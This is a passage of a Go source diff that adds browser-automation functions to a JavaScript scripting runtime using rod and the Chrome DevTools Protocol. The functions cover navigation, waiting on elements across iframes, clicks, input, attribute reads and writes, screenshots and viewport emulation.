time.Duration(queryTimeout)*time.Millisecond) + return page.Context(tCtx), cancel + } + return page, func() {} + } + + // collectSelectors returns all non-empty string arguments as CSS selectors, + // skipping any trailing options object. + collectSelectors := func(call goja.FunctionCall) []string { + var sels []string + for _, a := range call.Arguments { + if goja.IsUndefined(a) || goja.IsNull(a) { + continue + } + // Skip the options object (last-arg convention). + if _, isObj := a.Export().(map[string]interface{}); isObj { + continue + } + if s := a.String(); s != "" { + sels = append(sels, s) + } + } + if len(sels) == 0 { + panic(vm.NewTypeError("at least one selector is required")) + } + return sels + } + + // frameCtxs tracks execution contexts for same-process sub-frames, keyed by context ID. + // Value is [3]string{frameId, origin, name} from the executionContextCreated event. + // Same-origin iframes share the main page's CDP session and appear here. + var frameCtxs sync.Map // proto.RuntimeExecutionContextID → [3]string{frameId, origin, name} + mainFrameID := string(page.FrameID) + + // framePages tracks OOPIF (cross-origin, out-of-process) iframe sessions. + // Chrome auto-attaches them via Target.setAutoAttach{flatten:true} and sends + // Target.attachedToTarget events with a sessionId. We use PageFromSession to + // route proto.RuntimeEvaluate calls to each OOPIF's CDP session. + var framePages sync.Map // proto.TargetSessionID → *rod.Page + + // Subscribe before calling RuntimeEnable/setAutoAttach so events for + // already-existing contexts are captured after the listener is registered. + waitFrameEvt := page.EachEvent( + // Same-process iframe contexts. + func(e *proto.RuntimeExecutionContextCreated) bool { + if e.Context == nil { + return false + } + isDefault := e.Context.AuxData["isDefault"].Str() + fid := e.Context.AuxData["frameId"].Str() + if isDefault != "true" || fid == "" || fid == mainFrameID { + return false + } + frameCtxs.Store(e.Context.ID, [3]string{fid, e.Context.Origin, e.Context.Name}) + return false + }, + func(e *proto.RuntimeExecutionContextDestroyed) bool { + frameCtxs.Delete(e.ExecutionContextID) + return false + }, + func(e *proto.RuntimeExecutionContextsCleared) bool { + frameCtxs.Range(func(k, _ any) bool { frameCtxs.Delete(k); return true }) + return false + }, + // OOPIF iframe targets auto-attached via Target.setAutoAttach{flatten:true}. + func(e *proto.TargetAttachedToTarget) bool { + if e.TargetInfo == nil || string(e.TargetInfo.Type) != "iframe" { + return false + } + fp := page.Browser().PageFromSession(e.SessionID) + framePages.Store(e.SessionID, fp) + return false + }, + func(e *proto.TargetDetachedFromTarget) bool { + framePages.Delete(e.SessionID) + return false + }, + ) + // RuntimeEnable triggers executionContextCreated for all already-existing contexts. + _ = proto.RuntimeEnable{}.Call(page) //nolint:errcheck + // setAutoAttach auto-attaches all current and future OOPIF child targets to + // this page's session. Existing OOPIFs emit attachedToTarget immediately. + _ = proto.TargetSetAutoAttach{AutoAttach: true, WaitForDebuggerOnStart: false, Flatten: true}.Call(page) //nolint:errcheck + // Wrap with recover so an unexpected CDP event structure can't crash the server. + go func() { + defer func() { recover() }() //nolint:errcheck + waitFrameEvt() + }() + + // extractWaitOpts parses the optional last-argument options object. + // Returns searchFrames=true if frame search is enabled (default true), + // and specificFrame as the iframe CSS selector if { frame: "..." } was given. + // + // waitVisible("#el") search main page + all frames (default) + // waitVisible("#el", {frames:false}) search main page only + // waitVisible("#el", {frame:"iframe#x"}) search only that specific iframe + extractWaitOpts := func(call goja.FunctionCall) (searchFrames bool, specificFrame string) { + searchFrames = true + for _, a := range call.Arguments { + if goja.IsUndefined(a) || goja.IsNull(a) { + continue + } + if _, isObj := a.Export().(map[string]interface{}); !isObj { + continue + } + obj := a.ToObject(vm) + if v := obj.Get("frame"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + specificFrame = v.String() + return + } + if v := obj.Get("frames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + searchFrames = v.ToBoolean() + } + break + } + return + } + + // wrapCondJS builds a JS arrow-function that evaluates all per-selector + // function(doc){...} parts against the current document. + // Frame iteration is handled at the Go level via CDP execution contexts, + // not via contentDocument (which is blocked for cross-origin frames). + wrapCondJS := func(parts []string) string { + return fmt.Sprintf( + "()=>{var fns=[%s];for(var i=0;i { " + stmt + " }") + return err + } + _, err := proto.RuntimeEvaluate{Expression: "(function(){" + stmt + "})()"}.Call(targetPage) + return err + } + + // readFromFrame evaluates a JS expression in targetPage and returns the + // string result. For the main page applies queryTimeout if set. + readFromFrame := func(targetPage *rod.Page, jsExpr string) (string, error) { + if targetPage == page { + rPage, cancel := readPage() + defer cancel() + res, err := rPage.Eval("() => String(" + jsExpr + ")") + if err != nil { + return "", err + } + return res.Value.Str(), nil + } + res, err := proto.RuntimeEvaluate{ + Expression: "String(" + jsExpr + ")", + ReturnByValue: true, + }.Call(targetPage) + if err != nil || res == nil { + return "", err + } + return res.Result.Value.Str(), nil + } + + // scanOnce evaluates condJS across the main page and, if requested, all + // tracked frame contexts. Returns the first matched selector string, or "". + // This is the single-tick heart of both pollUntilAny and pollUntilNone. + scanOnce := func(condJS string, searchFrames bool, specificFrame string) (string, error) { + res, err := page.Eval(condJS) + if err != nil { + return "", err + } + if !res.Value.Nil() { + if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" { + return s, nil + } + } + if !searchFrames && specificFrame == "" { + return "", nil + } + + if specificFrame != "" { + el, err := page.Element(specificFrame) + if err != nil { + return "", nil + } + node, err := el.Describe(1, false) + if err != nil || node.FrameID == "" { + return "", nil + } + targetFID := string(node.FrameID) + var found string + frameCtxs.Range(func(k, v any) bool { + if v.([3]string)[0] == targetFID { + if s, ok := evalFrameCtx(k.(proto.RuntimeExecutionContextID), condJS); ok { + found = s + } + return false + } + return true + }) + if found == "" { + framePages.Range(func(_, v any) bool { + if s, ok := evalOOPIF(v.(*rod.Page), condJS); ok { + found = s + return false + } + return true + }) + } + return found, nil + } + + // Search all frames: same-process contexts then OOPIFs. + var found string + frameCtxs.Range(func(k, v any) bool { + if s, ok := evalFrameCtx(k.(proto.RuntimeExecutionContextID), condJS); ok { + found = s + return false + } + return true + }) + if found == "" { + framePages.Range(func(_, v any) bool { + if s, ok := evalOOPIF(v.(*rod.Page), condJS); ok { + found = s + return false + } + return true + }) + } + return found, nil + } + + // pollUntilAny polls every 100 ms until condJS matches in any searched context. + pollUntilAny := func(condJS string, searchFrames bool, specificFrame string) (string, error) { + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + return "", page.GetContext().Err() + case <-ticker.C: + if s, err := scanOnce(condJS, searchFrames, specificFrame); err != nil { + return "", err + } else if s != "" { + return s, nil + } + } + } + } + + // pollUntilNone polls every 100 ms until posCondJS matches in NO searched + // context. Used by waitNotVisible and waitNotPresent: instead of checking + // "is element absent from THIS context?" (which fires immediately on the main + // page when the element lives in an iframe), we check "is element still visible + // in ANY context?" and wait until the answer is no. + pollUntilNone := func(posCondJS string, searchFrames bool, specificFrame string, fallback string) (string, error) { + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + return "", page.GetContext().Err() + case <-ticker.C: + s, err := scanOnce(posCondJS, searchFrames, specificFrame) + if err != nil { + return "", err + } + if s == "" { + return fallback, nil + } + } + } + } + + pc.Set("navigate", func(call goja.FunctionCall) goja.Value { + rawURL := argStr(call.Argument(0)) + dbg("→ navigate " + rawURL) + must(page.Navigate(rawURL)) + must(page.WaitLoad()) + dbg("✓ navigate " + rawURL) + return goja.Undefined() + }) + + // navigateToHistoryOffset navigates by history offset without waiting for + // a load event (avoids deadlock on cached pages). + navigateToHistoryOffset := func(offset int) error { + res, err := proto.PageGetNavigationHistory{}.Call(page) + if err != nil { + return err + } + targetIndex := res.CurrentIndex + offset + if targetIndex < 0 || targetIndex >= len(res.Entries) { + return fmt.Errorf("no history entry at offset %d", offset) + } + targetEntry := res.Entries[targetIndex] + targetURL := targetEntry.URL + navCmd := proto.PageNavigateToHistoryEntry{EntryID: targetEntry.ID} + if err := navCmd.Call(page); err != nil { + return err + } + ticker := time.NewTicker(50 * time.Millisecond) + defer ticker.Stop() + deadline := time.Now().Add(30 * time.Second) + for time.Now().Before(deadline) { + info, err := page.Info() + if err != nil { + return err + } + if info.URL == targetURL { + return nil + } + select { + case <-page.GetContext().Done(): + return page.GetContext().Err() + case <-ticker.C: + } + } + return fmt.Errorf("timed out waiting for navigation to %s", targetURL) + } + + pc.Set("navigateBack", func(call goja.FunctionCall) goja.Value { + dbg("→ navigateBack") + must(navigateToHistoryOffset(-1)) + dbg("✓ navigateBack") + return goja.Undefined() + }) + + pc.Set("navigateForward", func(call goja.FunctionCall) goja.Value { + dbg("→ navigateForward") + must(navigateToHistoryOffset(+1)) + dbg("✓ navigateForward") + return goja.Undefined() + }) + + pc.Set("reload", func(call goja.FunctionCall) goja.Value { + dbg("→ reload") + must(page.Reload()) + dbg("✓ reload") + return goja.Undefined() + }) + + pc.Set("stop", func(call goja.FunctionCall) goja.Value { + dbg("→ stop") + must(proto.PageStopLoading{}.Call(page)) + dbg("✓ stop") + return goja.Undefined() + }) + + pc.Set("location", func(call goja.FunctionCall) goja.Value { + info, err := page.Info() + must(err) + dbg("= location " + info.URL) + return vm.ToValue(info.URL) + }) + + makeWaitURL := func(matchFn func(string) bool, label string) func(goja.FunctionCall) goja.Value { + return func(call goja.FunctionCall) goja.Value { + dbg("… " + label) + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + must(page.GetContext().Err()) + case <-ticker.C: + info, err := page.Info() + if err != nil { + continue + } + if matchFn(info.URL) { + dbg("✓ " + label + " matched " + info.URL) + return vm.ToValue(info.URL) + } + } + } + } + } + + pc.Set("waitURLContains", func(call goja.FunctionCall) goja.Value { + pat := argStr(call.Argument(0)) + return makeWaitURL(func(u string) bool { return strings.Contains(u, pat) }, "waitURLContains "+pat)(call) + }) + + pc.Set("waitURLMatch", func(call goja.FunctionCall) goja.Value { + re, ok := call.Argument(0).Export().(*regexp.Regexp) + if !ok { + panic(vm.NewTypeError("waitURLMatch: argument must be a RegExp")) + } + return makeWaitURL(re.MatchString, "waitURLMatch "+re.String())(call) + }) + + pc.Set("title", func(call goja.FunctionCall) goja.Value { + info, err := page.Info() + must(err) + dbg("= title " + info.Title) + return vm.ToValue(info.Title) + }) + + pc.Set("waitVisible", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitVisible %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitVisible " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitReady", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitReady %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);if(!el||el.disabled)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitReady " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitEnabled", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitEnabled %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);return(el&&!el.disabled)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitEnabled " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitSelected", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitSelected %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);return el&&el.selected?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitSelected " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitNotVisible", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitNotVisible %v", sels)) + // Use the positive visibility condition (same as waitVisible) and wait + // until it matches in NO context. This avoids the false positive where + // the main page immediately reports "not visible" for elements that live + // inside iframes (where querySelector returns null = treated as absent). + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilNone(wrapCondJS(parts), sf, fr, sels[0]) + must(err) + dbg("✓ waitNotVisible " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitNotPresent", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitNotPresent %v", sels)) + // Same inversion: use the positive presence condition and wait until + // no context finds the element present. + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){return doc.querySelector(%q)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilNone(wrapCondJS(parts), sf, fr, sels[0]) + must(err) + dbg("✓ waitNotPresent " + matched) + return vm.ToValue(matched) + }) + + pc.Set("click", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ click " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + if err = el.Click(proto.InputMouseButtonLeft, 1); err != nil { + var npe *rod.NoPointerEventsError + if errors.As(err, &npe) { + _, evalErr := el.Eval(`() => this.click()`) + must(evalErr) + } else { + must(err) + } + } + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.click()", sel))) + } + dbg("✓ click " + sel) + return goja.Undefined() + }) + + pc.Set("doubleClick", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ doubleClick " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + if err = el.Click(proto.InputMouseButtonLeft, 2); err != nil { + var npe *rod.NoPointerEventsError + if errors.As(err, &npe) { + _, evalErr := el.Eval(`() => { this.click(); this.click(); }`) + must(evalErr) + } else { + must(err) + } + } + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el){el.click();el.click()}", sel))) + } + dbg("✓ doubleClick " + sel) + return goja.Undefined() + }) + + pc.Set("clickXY", func(call goja.FunctionCall) goja.Value { + x := call.Argument(0).ToFloat() + y := call.Argument(1).ToFloat() + dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y)) + must(page.Mouse.MoveTo(proto.Point{X: x, Y: y})) + must(page.Mouse.Click(proto.InputMouseButtonLeft, 1)) + dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y)) + return goja.Undefined() + }) + + pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ scrollIntoView " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.ScrollIntoView()) + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.scrollIntoView()", sel))) + } + dbg("✓ scrollIntoView " + sel) + return goja.Undefined() + }) + + pc.Set("sendKeys", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + text := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ sendKeys %s (%d chars)", sel, len(text))) + // Focus in whichever frame owns the element, then insert text via Input.insertText + // which Chrome applies to the focused element regardless of frame. + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.focus()", sel))) + must(page.InsertText(text)) + dbg("✓ sendKeys " + sel) + return goja.Undefined() + }) + + // namedKeys maps CDP/browser key name strings to rod input.Key constants. + // For single-character keys the rune value is used directly as a fallback. + namedKeys := map[string]input.Key{ + "Enter": input.Enter, "Return": input.Enter, + "Tab": input.Tab, "Escape": input.Escape, "Backspace": input.Backspace, + "Delete": input.Delete, "Insert": input.Insert, + "Home": input.Home, "End": input.End, + "PageUp": input.PageUp, "PageDown": input.PageDown, + "ArrowLeft": input.ArrowLeft, "ArrowRight": input.ArrowRight, + "ArrowUp": input.ArrowUp, "ArrowDown": input.ArrowDown, + " ": input.Space, "Space": input.Space, + "F1": input.F1, "F2": input.F2, "F3": input.F3, "F4": input.F4, + "F5": input.F5, "F6": input.F6, "F7": input.F7, "F8": input.F8, + "F9": input.F9, "F10": input.F10, "F11": input.F11, "F12": input.F12, + "ShiftLeft": input.ShiftLeft, "ShiftRight": input.ShiftRight, + "ControlLeft": input.ControlLeft, "ControlRight": input.ControlRight, + "AltLeft": input.AltLeft, "AltRight": input.AltRight, + } + + pc.Set("keyEvent", func(call goja.FunctionCall) goja.Value { + key := argStr(call.Argument(0)) + dbg("→ keyEvent " + key) + if k, ok := namedKeys[key]; ok { + must(page.Keyboard.Press(k)) + } else { + runes := []rune(key) + if len(runes) > 0 { + must(page.Keyboard.Press(input.Key(runes[0]))) + } + } + dbg("✓ keyEvent " + key) + return goja.Undefined() + }) + + pc.Set("clear", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ clear " + sel) + stmt := fmt.Sprintf( + `var el=document.querySelector(%q);if(!el)return;`+ + `var n=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value')`+ + `||Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype,'value');`+ + `if(n&&n.set){n.set.call(el,'')}else{el.value=''};`+ + `el.dispatchEvent(new Event('input',{bubbles:true}));`+ + `el.dispatchEvent(new Event('change',{bubbles:true}))`, + sel) + must(evalInFrame(findPage(sel), stmt)) + dbg("✓ clear " + sel) + return goja.Undefined() + }) + + pc.Set("focus", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ focus " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.Focus()) + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.focus()", sel))) + } + dbg("✓ focus " + sel) + return goja.Undefined() + }) + + pc.Set("blur", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ blur " + sel) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.blur()", sel))) + dbg("✓ blur " + sel) + return goja.Undefined() + }) + + pc.Set("submit", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ submit " + sel) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.submit()", sel))) + dbg("✓ submit " + sel) + return goja.Undefined() + }) + + pc.Set("setValue", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + val := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ setValue %s = %q", sel, val)) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.Input(val)) + } else { + stmt := fmt.Sprintf( + `var el=document.querySelector(%q);if(!el)return;`+ + `var n=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value')`+ + `||Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype,'value');`+ + `if(n&&n.set){n.set.call(el,%q)}else{el.value=%q};`+ + `el.dispatchEvent(new Event('input',{bubbles:true}));`+ + `el.dispatchEvent(new Event('change',{bubbles:true}))`, + sel, val, val) + must(evalInFrame(target, stmt)) + } + dbg("✓ setValue " + sel) + return goja.Undefined() + }) + + pc.Set("getValue", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getValue " + sel) + target := findPage(sel) + var val string + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + prop, err := el.Property("value") + must(err) + val = prop.Str() + } else { + var err error + val, err = readFromFrame(target, fmt.Sprintf("(document.querySelector(%q)||{value:''}).value", sel)) + must(err) + } + dbg(fmt.Sprintf("= getValue %s %q", sel, val)) + return vm.ToValue(val) + }) + + pc.Set("getText", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getText " + sel) + target := findPage(sel) + var text string + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + var err2 error + text, err2 = el.Text() + must(err2) + } else { + var err error + text, err = readFromFrame(target, fmt.Sprintf("(document.querySelector(%q)||{innerText:''}).innerText", sel)) + must(err) + } + dbg(fmt.Sprintf("= getText %s %q", sel, text)) + return vm.ToValue(text) + }) + + pc.Set("getTextContent", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getTextContent " + sel) + text, err := readFromFrame(findPage(sel), fmt.Sprintf("(document.querySelector(%q)||{textContent:''}).textContent", sel)) + must(err) + dbg(fmt.Sprintf("= getTextContent %s %q", sel, text)) + return vm.ToValue(text) + }) + + pc.Set("getInnerHTML", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getInnerHTML " + sel) + html, err := readFromFrame(findPage(sel), fmt.Sprintf("(document.querySelector(%q)||{innerHTML:''}).innerHTML", sel)) + must(err) + dbg(fmt.Sprintf("= getInnerHTML %s (%d bytes)", sel, len(html))) + return vm.ToValue(html) + }) + + pc.Set("getOuterHTML", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getOuterHTML " + sel) + target := findPage(sel) + var html string + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + var err2 error + html, err2 = el.HTML() + must(err2) + } else { + var err error + html, err = readFromFrame(target, fmt.Sprintf("(document.querySelector(%q)||{outerHTML:''}).outerHTML", sel)) + must(err) + } + dbg(fmt.Sprintf("= getOuterHTML %s (%d bytes)", sel, len(html))) + return vm.ToValue(html) + }) + + pc.Set("getAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("? getAttribute %s[%s]", sel, attr)) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + val, err := el.Attribute(attr) + must(err) + if val == nil { + return goja.Null() + } + dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, *val)) + return vm.ToValue(*val) + } + res, err := (proto.RuntimeEvaluate{ + Expression: fmt.Sprintf( + "(function(){var el=document.querySelector(%q);if(!el||!el.hasAttribute(%q))return null;return el.getAttribute(%q)})()", + sel, attr, attr), + ReturnByValue: true, + }).Call(target) + must(err) + if res == nil || res.Result.Value.Nil() { + return goja.Null() + } + s := res.Result.Value.Str() + if s == "" || s == "null" || s == "" { + return goja.Null() + } + dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, s)) + return vm.ToValue(s) + }) + + pc.Set("getAttributes", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getAttributes " + sel) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + res, err := rPage.Eval(fmt.Sprintf( + "() => { const el=document.querySelector(%q); if(!el)return {}; return Object.fromEntries([...el.attributes].map(a=>[a.name,a.value])) }", + sel)) + must(err) + return vm.ToValue(res.Value.Val()) + } + res, err := (proto.RuntimeEvaluate{ + Expression: fmt.Sprintf( + "(function(){var el=document.querySelector(%q);if(!el)return{};return Object.fromEntries([...el.attributes].map(function(a){return[a.name,a.value]}))})()", + sel), + ReturnByValue: true, + }).Call(target) + must(err) + return vm.ToValue(res.Result.Value.Val()) + }) + + pc.Set("setAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + val := argStr(call.Argument(2)) + dbg(fmt.Sprintf("→ setAttribute %s[%s] = %q", sel, attr, val)) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.setAttribute(%q,%q)", sel, attr, val))) + dbg(fmt.Sprintf("✓ setAttribute %s[%s]", sel, attr)) + return goja.Undefined() + }) + + pc.Set("removeAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ removeAttribute %s[%s]", sel, attr)) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.removeAttribute(%q)", sel, attr))) + dbg(fmt.Sprintf("✓ removeAttribute %s[%s]", sel, attr)) + return goja.Undefined() + }) + + pc.Set("getJSAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("? getJSAttribute %s.%s", sel, attr)) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + prop, err := el.Property(attr) + must(err) + dbg(fmt.Sprintf("= getJSAttribute %s.%s %v", sel, attr, prop.Val())) + return vm.ToValue(prop.Val()) + } + res, err := (proto.RuntimeEvaluate{ + Expression: fmt.Sprintf("(document.querySelector(%q)||{})[%q]", sel, attr), + ReturnByValue: true, + }).Call(target) + must(err) + if res == nil || res.Result.Value.Nil() { + return goja.Undefined() + } + return vm.ToValue(res.Result.Value.Val()) + }) + + pc.Set("setJSAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + val := argStr(call.Argument(2)) + dbg(fmt.Sprintf("→ setJSAttribute %s.%s = %q", sel, attr, val)) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el[%q]=%q", sel, attr, val))) + dbg(fmt.Sprintf("✓ setJSAttribute %s.%s", sel, attr)) + return goja.Undefined() + }) + + pc.Set("getNodeCount", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getNodeCount " + sel) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + els, err := rPage.Elements(sel) + if err != nil { + return vm.ToValue(0) + } + dbg(fmt.Sprintf("= getNodeCount %s %d", sel, len(els))) + return vm.ToValue(len(els)) + } + s, err := readFromFrame(target, fmt.Sprintf("document.querySelectorAll(%q).length", sel)) + if err != nil { + return vm.ToValue(0) + } + var n int + fmt.Sscanf(s, "%d", &n) + dbg(fmt.Sprintf("= getNodeCount %s %d", sel, n)) + return vm.ToValue(n) + }) + + pc.Set("evaluate", func(call goja.FunctionCall) goja.Value { + dbg("→ evaluate") + expr := argStr(call.Argument(0)) + rPage, rCancel := readPage() + defer rCancel() + res, err := proto.RuntimeEvaluate{Expression: expr}.Call(rPage) + must(err) + result := res.Result.Value.Val() + dbg(fmt.Sprintf("= evaluate %v", result)) + return vm.ToValue(result) + }) + + pc.Set("screenshot", func(call goja.FunctionCall) goja.Value { + name := argStr(call.Argument(0)) + dbg("→ screenshot " + name) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + buf, err := rPage.Screenshot(true, nil) + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.screenshot(name, buf, pageURL) + } + dbg("✓ screenshot " + name) + return goja.Undefined() + }) + + pc.Set("screenshotElement", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + name := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ screenshotElement %s as %s", sel, name)) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + el, err := rPage.Element(sel) + must(err) + must(el.WaitVisible()) + buf, err := el.Screenshot("", 0) + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.screenshot(name, buf, pageURL) + } + dbg("✓ screenshotElement " + name) + return goja.Undefined() + }) + + pc.Set("setViewport", func(call goja.FunctionCall) goja.Value { + w := call.Argument(0).ToInteger() + h := call.Argument(1).ToInteger() + dbg(fmt.Sprintf("→ setViewport %dx%d", w, h)) + must(proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + }.Call(page)) + dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h)) + return goja.Undefined() + }) + + pc.Set("setViewportMobile", func(call goja.FunctionCall) goja.Value { + w := call.Argument(0).ToInteger() + h := call.Argument(1).ToInteger() + dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h)) + must(proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + Mobile: true, + }.Call(page)) + must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page)) + dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h)) + return goja.Undefined() + }) + + pc.Set("resetViewport", func(call goja.FunctionCall) goja.Value { + dbg("→ resetViewport") + must(proto.EmulationClearDeviceMetricsOverride{}.Call(page)) + dbg("✓ resetViewport") + return goja.Undefined() + }) + + pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value { + ua := argStr(call.Argument(0)) + dbg("→ setUserAgent " + ua) + must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page)) + dbg("✓ setUserAgent") + return goja.Undefined() + }) + + // setAcceptLanguage sets the Accept-Language HTTP header and overrides + // navigator.language / navigator.languages in the main 